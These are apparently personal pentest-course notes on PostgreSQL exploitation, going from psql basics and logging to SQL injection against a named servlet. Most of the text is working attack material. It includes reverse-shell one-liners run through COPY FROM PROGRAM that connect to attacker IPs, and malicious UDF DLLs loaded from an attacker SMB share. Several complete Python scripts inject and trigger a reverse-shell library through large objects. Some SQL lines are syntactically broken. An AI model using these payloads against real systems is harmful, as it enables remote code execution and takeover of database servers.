Login into postgres
-U user
-h host
-d database
# Linux
psql -U webapp -h localhost -d answers
# Windows
psql -p 15432 -U postgres amdb
\l – list databases
\c [DataNase Name] – connect to database
\dt – list datatables
\q – quit/exit program
\du – list users
List of roles
Role name | Attributes |
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS |
webapp | Superuser |
SELECT current_setting(‘is_superuser’);
Auth Trust
Open the file pg_hba.conf.
Use for example:
/etc/postgresql/13/main$ sudo nano pg_hba.conf
And change this line at the bottom of the file, it should be the first line of the settings:
local all postgres peer
Change peer to trust
Reset postgres
sudo /etc/init.d/postgresql restart
psql -U postgres
Logging
### enable database logging ###
### go to C:\Program Files (x86)\PROGRAM_NAME\AppManager12\working\pgsql\data\amdb ###
### edit postgresql.conf with Notepad++ ###
### search for 'log_statement' ###
### this was commented out ###
#log_statement = 'none'
### change to all ###
log_statement = 'all'
### now restart the service ###
### now go to Services and find the Application's service ###
### and right-click and Restart the service with the app name ###
### check that log files are being used now ###
### go back to folder and find the 'pgsql_log' folder ###
### let's check even more ###
### open up pgAdmin , it's icon is a fucking elephant ###
### trolley down Servers -> amdb -> Databases -> amdb again ###
### this shows casts, catalogs, extensions, etc ###
### right-click the database name and do 'Query Tool...' ###
### before running a query, open up PowerShell ###
### go to the log files folder ###
### to sort directory listing in PowerShell ###
dir | sort LastWriteTime | select -last 1
### now get that file to print out when a new line is added ###
Get-Content logFileName_1.log -wait -tail 1
### then add another pipe to it to only print when it has a specified string ###
Get-Content logFileName_1.log -wait -tail 1 | Select-String -Pattern "select version"
### go back to the query and run this sql ###
select version();
student@answers:~$ find / -name postgresql.conf 2</dev/null
/etc/postgresql/10/main/postgresql.conf
/usr/lib/tmpfiles.d/postgresql.conf
student@answers:~$ sudo nano /etc/postgresql/10/main/postgresql.conf
student@answers:~$ sudo /etc/init.d/postgresql restart
[ ok ] Restarting postgresql (via systemctl): postgresql.service.
student@answers:~$ cd /etc/postgresql/10/main
student@answers:/etc/postgresql/10/main$ ls -lah
student@answers:/etc/postgresql/10/main$ tail -10 /var/log/postgresql/postgresql-10-main.log
Encoding
Hex or Base64 encodings ( if there isn’t HTML encoding, that screws up apostrophe/quotes )
select ascii('w'),ascii('0)',ascii('0'),ascii('t');
119 48 48 116
select chr(119), chr(48),chr(48),chr(116);
w 0 0 t
select chr(119) || chr(48) || chr(48) || chr(116);
w00t
### Create temp table
CREATE TEMP TABLE temptable (offsec text);
### Insert file contents
INSERT INTO temptable(offsec) VALUES (chr(119||chr(48)||chr(48)||chr(116));
### Write to file on target server
COPY temptable (offsec) TO ‘c:\\file’;
### OR
COPY temptable(offsec) to $$c:\output.txt$$;
### OR
copy (select $$w00t$$ to $$C:\Users\Public\offsec.txt$$;
This gives a check to see if the table has the payload at the end to put it to sleep
while SUBSTRING helps reading the file content byte by byte, ASCII ensures that it avoids any encoding issues
GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;create+temp+table+awae+(content+text);copy+awae+from+$c:\awae.txt$;select+case+when(ascii(substr((select+content+from+awae),1,1))=104)+then+pg_sleep(10)+end;--+ HTTP/1.0
Have target server copy file from attacker’s shared folder
Use the Python Impacket SMB server script as shown below.
kali@kali:~$ mkdir /home/kali/class
kali@kali:~$ sudo impacket-smbserver class /home/kali/class/
[sudo] password for kali:
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[] Config file parsed
[] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[] Config file parsed
[] Config file parsed
[] Config file parsed
Once the Samba service is running, we can create a new Postgres UDF and point it to the DLL file hosted on the network share.
CREATE OR REPLACE FUNCTION remote_test(text, integer) RETURNS void AS $$\\192.168.119.120\class\malicious.dll$$, $$inUse$$ LANGUAGE C STRICT;
SELECT remote_test($$calc.exe$$, 3);
Here is working example with python request to push this through SQLi
import requests, sys
requests.packages.urllib3.disable_warnings()
## USAGE
## python2 thisScript.py serverIP:port attackerIP port
def log(msg):
print msg
def make_request(url, sql):
log("[*] Executing query: %s" % sql[0:180])
r = requests.get( url % sql, verify=False)
return r
def create_udf_func(url):
log("[+] Creating function...")
sql = 'CREATE OR REPLACE FUNCTION rev_shell(text, integer) RETURNS void AS $$\\\\192.168.119.120\\class\\rev_shell.dll$$,$$connect_back$$ LANGUAGE C STRICT'
make_request(url, sql)
def trigger_udf(url, ip, port):
log("[+] Launching reverse shell...")
sql = "select rev_shell($$%s$$, %d)" % (ip, int(port))
make_request(url, sql)
if __name__ == '__main__':
try:
server = sys.argv[1].strip()
attacker = sys.argv[2].strip()
port = sys.argv[3].strip()
except IndexError:
print "[-] Usage: %s serverIP:port attackerIP port" % sys.argv[0]
sys.exit()
sqli_url = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--"
create_udf_func(sqli_url)
trigger_udf(sqli_url, attacker, port)
Large Objects
amdb=# select lo_import('C:\\Windows\\win.ini');
lo_import
-----------
194206
(1 row)
amdb=# \lo_list
Large objects
ID | Owner | Description
--------+----------+-------------
194206 | postgres |
(1 row)
### Same but assigns ID nbr
amdb=# select lo_import('C:\\Windows\\win.ini', 1337);
lo_import
-----------
1337
(1 row)
amdb=# select loid, pageno from pg_largeobject;
loid | pageno
------+--------
1337 | 0
(1 row)
### Show what's in the file
amdb=# select loid, pageno, encode(data, 'escape') from pg_largeobject;
loid | pageno | encode
------+--------+----------------------------
1337 | 0 | ; for 16-bit app support\r+
| | [fonts]\r +
| | [extensions]\r +
| | [mci extensions]\r +
| | [files]\r +
| | [Mail]\r +
| | MAPI=1\r +
| |
(1 row)
### The contents of the win.ini file are in a large object
### Now, let's update this entry.
amdb=# update pg_largeobject set data=decode('77303074', 'hex') where loid=1337 and pageno=0;
UPDATE 1
amdb=# select loid, pageno, encode(data, 'escape') from pg_largeobject;
loid | pageno | encode
------+--------+--------
1337 | 0 | w00t
(1 row)
### Update that file on the target server
amdb=# select lo_export(1337, 'C:\\new_win.ini');
lo_export
-----------
1
(1 row)
Reverse Shells
- Command Execution
dataBase=# DROP TABLE IF EXISTS cmd_exec ;
NOTICE: table "cmd_exec" does not exist, skipping
DROP TABLE
dataBase=# CREATE TABLE cmd_exec(cmd_output text);CREATE TABLE
Start a listener on attacking machine
┌──(kali㉿kali)-[~/Documents/OSWE/answers]
└─$ nc -lvnp 4469
listening on [any] 4469 ...
connect to [192.168.119.133] from (UNKNOWN) [192.168.133.251] 53074
sh: 0: can't access tty; job control turned off
$ whoami
postgres
dataBase=# COPY cmd_exec FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.119.133 4469 >/tmp/f';
COPY cmd_exec FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.119.130 4469 >/tmp/f';
COPY files FROM PROGRAM ‘perl -MIO -e ‘’$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’’’;
COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.119.130:4469");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';;
!!!!!!!! Pro Tip !!!!!!!!!!!!!!
can also Base64 encode it
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2. Malicious dll
a) Find the version of the PostgreSQL installed
CLI in Terminal:
└─$ psql -V
psql (PostgreSQL) 14.1 (Debian 14.1-5)
# select version();
version
----------------------------------------------------------------
PostgreSQL 10.12 (Ubuntu 10.12-0ubuntu0.18.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0, 64-bit
(1 row)
b) Compile the pg_exec.c with the matching PostgreSQL version and target framework from here:
https://github.com/squid22/PostgreSQL_RCE/blob/main/postgresql_rce.py#L20
c) Compile it using GCC
gcc -I$(/usr/local/pgsql/bin/pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
d) use this script to break up the SQL commands needed to create large object, save as file, create function calling it for RCE
import requests, sys, urllib, string, random, time
requests.packages.urllib3.disable_warnings()
import binascii
## USAGE
## python2 me_udf_rev_shell_completed.py 192.168.133.251 192.168.119.133 4469
# encoded UDF dll
with open('rev_shell.dll', 'rb') as file:
udf = binascii.hexlify(file.read())
loid = 1337
def log(msg):
print msg
def make_request(url, sql):
#log("[*] Executing query: %s" % sql[0:80])
log("[*] Executing query: %s" % sql)
# r = requests.get( url % sql, verify=False)
# return r
return 1
def delete_lo(url, loid):
log("[+] Deleting existing LO...")
sql = "SELECT lo_unlink(%d);" % loid
make_request(url, sql)
def create_lo(url, loid):
log("[+] Creating LO for UDF injection...")
sql = "SELECT lo_create(%d);" % loid
make_request(url, sql)
def inject_udf(url, loid):
log("[+] Injecting payload of length %d into LO..." % len(udf))
for i in range(0,((len(udf)-1)/4096)+1):
udf_chunk = udf[i*4096:(i+1)*4096]
if i == -10:
sql = "UPDATE PG_LARGEOBJECT SET data=decode($$%s$$, $$hex$$) where loid=%d and pageno=%d;" % (udf_chunk, loid, i)
else:
sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode($$%s$$, $$hex$$));" % (loid, i, udf_chunk)
make_request(url, sql)
def export_udf(url, loid):
log("[+] Exporting UDF library to filesystem...")
sql = "SELECT lo_export(%d, $$/home/student/rev_shell.dll$$);" % loid
make_request(url, sql)
def create_udf_func(url):
log("[+] Creating function...")
sql = "create or replace function rev_shell(text, integer) returns VOID as $$/home/student/rev_shell.dll$$, $$connect_back$$ language C strict;"
make_request(url, sql)
def trigger_udf(url, ip, port):
log("[+] Launching reverse shell...")
sql = "SELECT rev_shell($$%s$$, %d);" % (ip, int(port))
make_request(url, sql)
if __name__ == '__main__':
try:
server = sys.argv[1].strip()
attacker = sys.argv[2].strip()
port = sys.argv[3].strip()
except IndexError:
print "[-] Usage: %s serverIP:port attackerIP port" % sys.argv[0]
sys.exit()
sqli_url = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--"
delete_lo(sqli_url, loid)
create_lo(sqli_url, loid)
inject_udf(sqli_url, loid)
export_udf(sqli_url, loid)
delete_lo(sqli_url, loid)
create_udf_func(sqli_url)
trigger_udf(sqli_url, attacker, port)
e) Run the RCE in PostgrSQL
SELECT sys('nc -e /bin/sh 10.0.0.1 4444');
3. Use similar method to overwrite a necessary file for the web application
ANOTHER MALICIOUS DLL
Create/write malicious dll to target server
create or replace function test(text, integer) returns void as $$c:\inUse.dll$$, $$inUse$$ LANGUAGE C STRICT;
select test($$cmd.exe$$, 3);
MAKE A NEW DLL, FUNCTION FOR FINAL RCE
create or replace function test(text, integer) returns void as $/tmp/poop.txt$, $textPoop$ LANGUAGE C STRICT;
More Ideas
https://www.postgresql.org/message-id/9A826EC5-060A-485F-811E-28D96F1ED068%40gmail.com
CREATE or REPLACE FUNCTION func2 (var1 text) RETURNS text AS '
#!/bin/bash
touch /home/postgres/$1;
' LANGUAGE plsh;
commit;
CREATE FUNCTION func1() RETURNS trigger AS '
BEGIN
perform func2(NEW.col1);
RETURN NEW;
END;
' LANGUAGE plpgsql;
CREATE TRIGGER trigf1 BEFORE INSERT on test
FOR EACH ROW EXECUTE PROCEDURE func1();
testdb=# insert into test3 values (777);
INSERT 0 1
testdb=# select * from test3;
col1
------
777
[postgres(at)edb1 ~]$ ls -ltr
-rw------- 1 postgres postgres 0 Sep 29 16:30 777
maybe something
https://blog.pentesteracademy.com/postgresql-udf-command-execution-372f0c68cfed
Another Python example for a reverse shell through a SQLi
import requests, sys, urllib, string, random, time
requests.packages.urllib3.disable_warnings()
import binascii
# encoded UDF dll
with open('rev_shell.dll', 'rb') as file:
udf = binascii.hexlify(file.read())
loid = 1337
def log(msg):
print msg
def make_request(url, sql):
log("[*] Executing query: %s" % sql[0:80])
r = requests.get( url % sql, verify=False)
return r
def delete_lo(url, loid):
log("[+] Deleting existing LO...")
sql = "SELECT lo_unlink(%d)" % loid
make_request(url, sql)
def create_lo(url, loid):
log("[+] Creating LO for UDF injection...")
sql = "SELECT lo_import($$C:\\windows\\win.ini$$,%d)" % loid
make_request(url, sql)
def inject_udf(url, loid):
log("[+] Injecting payload of length %d into LO..." % len(udf))
for i in range(0,((len(udf)-1)/4096)+1):
udf_chunk = udf[i*4096:(i+1)*4096]
if i == 0:
sql = "UPDATE PG_LARGEOBJECT SET data=decode($$%s$$, $$hex$$) where loid=%d and pageno=%d" % (udf_chunk, loid, i)
else:
sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode($$%s$$, $$hex$$))" % (loid, i, udf_chunk)
make_request(url, sql)
def export_udf(url, loid):
log("[+] Exporting UDF library to filesystem...")
sql = "SELECT lo_export(%d, $$C:\\Users\\Public\\rev_shell.dll$$)" % loid
make_request(url, sql)
def create_udf_func(url):
log("[+] Creating function...")
sql = "create or replace function rev_shell(text, integer) returns VOID as $$C:\\Users\\Public\\rev_shell.dll$$, $$connect_back$$ language C strict"
make_request(url, sql)
def trigger_udf(url, ip, port):
log("[+] Launching reverse shell...")
sql = "select rev_shell($$%s$$, %d)" % (ip, int(port))
make_request(url, sql)
if __name__ == '__main__':
try:
server = sys.argv[1].strip()
attacker = sys.argv[2].strip()
port = sys.argv[3].strip()
except IndexError:
print "[-] Usage: %s serverIP:port attackerIP port" % sys.argv[0]
sys.exit()
sqli_url = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--"
delete_lo(sqli_url, loid)
create_lo(sqli_url, loid)
inject_udf(sqli_url, loid)
export_udf(sqli_url, loid)
create_udf_func(sqli_url)
trigger_udf(sqli_url, attacker, port)